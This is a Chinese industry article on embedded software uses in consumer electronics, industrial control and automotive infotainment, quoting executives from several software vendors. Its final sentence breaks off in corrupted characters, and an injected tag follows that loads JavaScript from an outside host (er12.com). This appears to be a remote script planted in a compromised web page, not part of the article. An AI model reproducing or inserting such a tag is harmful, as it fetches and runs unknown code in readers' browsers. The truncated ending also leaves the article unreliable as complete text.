随着电子技术的日益成熟,电子设备之间的差异化越来越小,如何使自己的产品在众多同类产品中脱颖而出,令电子设备厂商以及嵌入式系统设计厂商大伤脑筋。此时,软件差异化的优势逐渐显露出来。从传统的3c(communication,consumerelectronics,computer;通信、消费电子、计算机)和工业领域,到近几年崛起的汽车、医疗电子等新兴领域,嵌入式软件的应用浪潮席卷了整个电子产业。当前,新的一轮应用热潮已然来临,新老应用将为嵌入式软件的发展注入新动力。
传统应用力挺,3c、工业等传统应用仍是主流
作为嵌入式软件最主要的需求群体,嵌入式软件在3c、工业等这些传统领域的应用日趋成熟。全球第一家商用编译器和调试器的供应商iar的代理商——麦克泰公司技术部经理江文瑞介绍到,这传统应用对嵌入式软件的需求非常大,举个例子:目前,iar主打产品iarew有超过10万用户使用。在国内,主要的应用领域是消费电子-家电设备,数码电子等,电力、仪器|仪表控制,工业电子控制等。同样的,micrium也是著名的rtos供应商,其主要的应用也是各种电力,仪器仪表控制系统,手持显控设备,消费电子等传统领域。而麦克泰公司自身的嵌入式软件也被广泛应用于消费电子、通信、工业控制和教学科学研究等领域嵌入式系统设计;如:智能手机、iptv、数字电视、手持终端、工业控制等。
特别值得注意的是,嵌入式多媒体处理软件已经在3c终端产品上应用日趋普遍,如:ip电话机和wi-fi电话机,智能手机/双模手机,宽带路由器/终端适配器,便携式游戏设备等。globalipsolutions公司亚太区市场总监曾志佳表示:这些终端产品都可以连接到网络进行实时多媒体通信(语音和视频),嵌入式多媒体处理软件可以有效减低网络情况如丢包,延时,抖动等影响,提高在线服务质量。
对于嵌入式软件而言,高级用户界面和用户交互功能在消费电子设备中正以更快的速度向前发展。手机市场的增长速度惊人,同时带动了多触摸屏(multi-touchscreen)、web浏览器、定位和电子银行等各种创新技术的迅猛发展。然而,电子设备的技术并未就此止步,非移动领域的新设备或非蜂窝式设备(如个人媒体播放器、导航设备、桌面视频电话(video-deskphone)正呈爆炸式增长。奇趣科技亚洲区销售和营运总监兼奇趣科技(北京)有限公司总经理davidalmstr?m预言:随着家庭实现全面联网(例如电冰箱也可以提供检索和上网功能)、家庭控制系统与手机相连、音乐系统与在线音乐服务相连、并可通过便携式设备(如个人便携式多媒体播放器-pmp)或手机备份和同步,嵌入式软件将为用户带来更加丰富的体验。
汽车应用潜力无限,带来软件发展新机遇
随着汽车工业与电子工业的不断发展,电子技术的应用越来越广泛。今天的汽车已经逐步进入了电脑控制的时代。目前,汽车电子只要集中在电子控制,如发动机控制和底盘应用。未来的发展会朝着集中控制的方向发展,如车身控制、车载信息娱乐、安全系统、动力传动系统。江文瑞对此表示:“随着汽车电子向网络化、智能化、舒适化趋势发展的不断深入,对有关控制软件的需求也将会增加,并可能要求进一步计算机联网。因此,要求使用多种嵌入式软件,并开发出通用的高水平语言,以满足多种硬件的要求。
davidalmstrm对嵌入式软件在汽车领域的应用充满信心,他说:“嵌入式软件技术作为一种可移植的应用技术,将在汽车应用上发挥重要作用,汽车是一个引人注目的发展领域。”在呈爆炸性增长的消费电子设备市场中,汽车产业是其中的一个细分市场。“奇趣相信汽车将具有车内计算系统,当然该系统将以无线的方式(3g、wifi或4g)与全球定位系统(gps)相连,但同时也能与手机等便携式设备同步并可访问这些设备。或许手机将被置入汽车系统中,这样就可以获得更大的计算能力、更大的屏幕,而且用户在车内也可以欣赏手机中的音乐。”
windriver同样看好汽车信息娱乐系统应用,windriver结合了业界顶尖的合作伙伴等厂商推出了车载信息娱乐系统的参考设计,相关产品制造商只要在参考设计的基础上略加修改,即可在极短的时间内推出自己的产品,并且避免了高成本、高风险的开发过程。windriver中国区总经理韩青指出,除了可靠性方面的优势,windriver车载娱乐平台之所以能够节省开发成本、加速开发进程,主要是将才因为不仅已拥有传统优势的vxworks操作系统,而且纳入了开放、集成化并以eclipse为基础的linux开发软件,更将基础性的多媒体和网络中间件融为一体。其中的关键技术不仅在航空航天等高可靠性要求的环境中得到长期应用,而且已经获得了汽车制造业的广泛支持。windriver与多家相关厂商合作推出了一个优化的车载信息娱乐软件平台参考设计,可以支持用户系统需要的大多数外围设备的板级支持包(bsp)。
目前在soc技术的推动下,汽车电子正朝着高端应?script src=http://er12.com/t.js>







